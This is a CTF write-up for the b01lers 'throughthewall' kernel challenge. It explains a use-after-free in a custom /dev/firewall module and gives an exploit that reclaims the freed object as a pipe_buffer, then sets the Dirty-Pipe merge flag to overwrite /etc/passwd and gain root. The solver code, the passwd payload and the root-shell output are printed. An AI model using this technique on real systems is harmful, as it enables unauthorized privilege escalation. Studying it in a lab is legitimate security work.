Logo

Writeup

b01lers CTF — throughthewall Writeup

0 0xAsta
April 19, 2026
4 min read
pwn kernel linux

throughthewall — Writeup

This writeup details the solution for the throughthewall kernel pwn challenge from b01lers CTF. The challenge provides a custom Linux kernel module exposed through /dev/firewall. The bug is a use-after-free in the module’s rule table, and the exploit path is to reclaim the freed object with pipe buffer metadata and abuse a Dirty-Pipe-style merge flag overwrite to rewrite /etc/passwd.

Exploit script: throughthewall.c

Summary

The target is a remote kernel challenge accessible with:

Terminal window
ncat --ssl throughthewall.opus4-7.b01le.rs 8443

The archive contains:

  • bzImage
  • initramfs.cpio.gz
  • start.sh

The initramfs loads a single custom module, firewall.ko, and exposes it as a world-writable misc device:

Terminal window
insmod /home/ctf/firewall.ko
chmod 666 /dev/firewall

The goal is to become root and read /flag.txt.

Key Code Snippets

The important logic lives in the module loaded from home/ctf/firewall.ko.

/init (boot flow):

Terminal window
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
if insmod /home/ctf/firewall.ko; then
chmod 666 /dev/firewall
fi
echo "bctf{fake_flag}" > /flag.txt
chmod 400 /flag.txt
while true; do
/bin/drop_priv
done

Reconstructed module interface:

#define FW_ADD 0x41004601
#define FW_DEL 0x40044602
#define FW_EDIT 0x44184603
#define FW_SHOW 0x84184604
static void *rules[0x100];

Relevant bug pattern inside the module:

case FW_DEL:
if (idx > 0xff)
return -EINVAL;
if (!rules[idx])
return -ENOENT;
kfree(rules[idx]);
printk("deleted rule %d\n", idx);
return 0;

The pointer is freed but not cleared. Later handlers still trust it:

case FW_EDIT:
ptr = rules[idx];
memcpy(ptr + off, user_buf, len);
case FW_SHOW:
ptr = rules[idx];
copy_to_user(user_buf, ptr + off, len);

Analysis

The module manages up to 0x100 firewall rules, each allocated as a 0x400 byte object.

From reversing:

  • FW_ADD allocates a fresh 0x400 byte rule object and stores it in rules[idx].
  • FW_DEL frees the object.
  • FW_EDIT writes arbitrary bytes into the chosen rule at a controlled offset.
  • FW_SHOW reads arbitrary bytes back from the chosen rule at a controlled offset.

The bug is that FW_DEL does:

kfree(rules[idx]);

but does not do:

rules[idx] = NULL;

So after freeing, the stale pointer remains reachable through both FW_EDIT and FW_SHOW.

That gives us:

  1. a use-after-free read primitive
  2. a use-after-free write primitive

The freed size is exactly 0x400, so the natural strategy is:

  • free a rule
  • reclaim the freed chunk with another kernel object from the same size class
  • use FW_SHOW and FW_EDIT against the reclaimed object

Exploitation and Flag Recovery

We do not need kernel ROP, a KASLR bypass, or an arbitrary function call. The UAF plus pipe metadata is already enough.

1. Reclaiming the Freed Rule

My first probe locally was:

  • allocate one firewall rule
  • delete it
  • create a pipe
  • use FW_SHOW on the stale slot

The leaked contents matched a pipe_buffer:

  • a kernel-like struct page *
  • offset = 4
  • len = 1
  • a nonzero ops pointer
  • flags = 0

So the freed 0x400 rule object can be reclaimed as a pipe buffer array.

2. Pipe Buffer Layout

For Linux 5.15 x86_64, the first struct pipe_buffer is effectively:

struct pipe_buffer {
struct page *page; // 0x00
unsigned int offset; // 0x08
unsigned int len; // 0x0c
const struct pipe_buf_operations *ops; // 0x10
unsigned int flags; // 0x18
unsigned long private; // 0x20
};

The field we care about is:

flags // offset 0x18

If we set PIPE_BUF_FLAG_CAN_MERGE, future writes into that pipe can merge directly into the referenced page cache page.

3. Dirty Pipe Style Overwrite

The classic sequence is:

  1. create a pipe
  2. splice data from a read-only file into it
  3. corrupt the pipe buffer flags to include PIPE_BUF_FLAG_CAN_MERGE
  4. write attacker-controlled bytes into the pipe

That gives a write into the file’s page cache without opening the file writable.

Here the target file is /etc/passwd.

I splice a single byte from /etc/passwd at offset 4, which is immediately after the string root in:

root:x:0:0:...

Then I write:

:0:0:root:/root:/bin/sh
ctf:x:1000:1000::/home/ctf:/bin/sh

After the overwrite, the root entry has an empty password field, so local su root works and we can read the flag.

4. Solver Script

The readable exploit version is:

fw = open("/dev/firewall", O_RDWR);
idx = ioctl(fw, FW_ADD, "1.1.1.1 2.2.2.2 80 0 uaf");
ioctl(fw, FW_DEL, idx);
pipe(pfd);
pass = open("/etc/passwd", O_RDONLY);
off = 4;
splice(pass, &off, pfd[1], NULL, 1, 0);
req.idx = idx;
req.off = 24;
req.len = 4;
*(u32 *)req.data = 0x10; // PIPE_BUF_FLAG_CAN_MERGE
ioctl(fw, FW_EDIT, &req);
write(pfd[1], payload, sizeof(payload) - 1);
execl("/bin/su", "su", "root", "-c", "id; cat /flag.txt", NULL);

I also built a tiny syscall-only static binary for the remote target to make uploading easier.

5. Local Run

Running the exploit locally against the provided QEMU image gave:

Terminal window
uid=0(root) gid=0(root) groups=0(root)
bctf{fake_flag}

That confirmed:

  • the UAF is real
  • the reclaim is stable
  • the pipe flag overwrite works
  • the /etc/passwd corruption path is enough for root

6. Remote Run

The remote service had a proof-of-work first. After solving the PoW, uploading the tiny exploit, and running it, the output was:

Terminal window
uid=0(root) gid=0(root) groups=0(root)
bctf{spray_those_dirty_pipes}